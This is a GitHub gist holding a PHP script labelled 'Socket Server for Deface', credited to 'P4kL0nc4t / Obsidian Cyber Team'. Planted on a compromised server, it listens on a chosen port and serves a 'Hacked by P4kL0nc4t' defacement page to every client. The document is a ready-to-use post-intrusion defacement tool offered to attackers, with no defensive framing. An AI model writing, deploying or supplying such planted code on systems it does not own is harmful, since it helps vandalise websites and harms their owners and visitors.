Skip to content

Instantly share code, notes, and snippets.

@ttycelery
Created November 18, 2017 07:44
Show Gist options
  • Save ttycelery/b40ad51c3c842c65e210ed5a779cbe53 to your computer and use it in GitHub Desktop.
Save ttycelery/b40ad51c3c842c65e210ed5a779cbe53 to your computer and use it in GitHub Desktop.
PHP Socket Server for Deface
<?php
/*
- Socket Server PHP
| Author: P4kL0nc4t / Obsidian Cyber Team
| Date: 28 October 2017
| Note: Editing author will not make you the real coder!
*/
set_time_limit (0);
if(!empty($_GET['port']) && is_numeric($_GET['port'])) {
$port = $_GET['port'];
} else {
$port = 2810;
}
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
socket_bind($sock, 0, $port) or die('lnct_error: Failed to bind port');
socket_listen($sock);
while ($client = socket_accept($sock)) {
$response = "HTTP/1.0 200 OK\r\n";
$response .= "Server: P4kL0nc4t-SSWP\r\n";
$response .= "Content-Type: text/html\r\n\r\n";
$response .= "<html><body><h1>Hacked by P4kL0nc4t</h1></body></html>";
socket_write($client, $response);
socket_close($client);
}
socket_close($sock);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment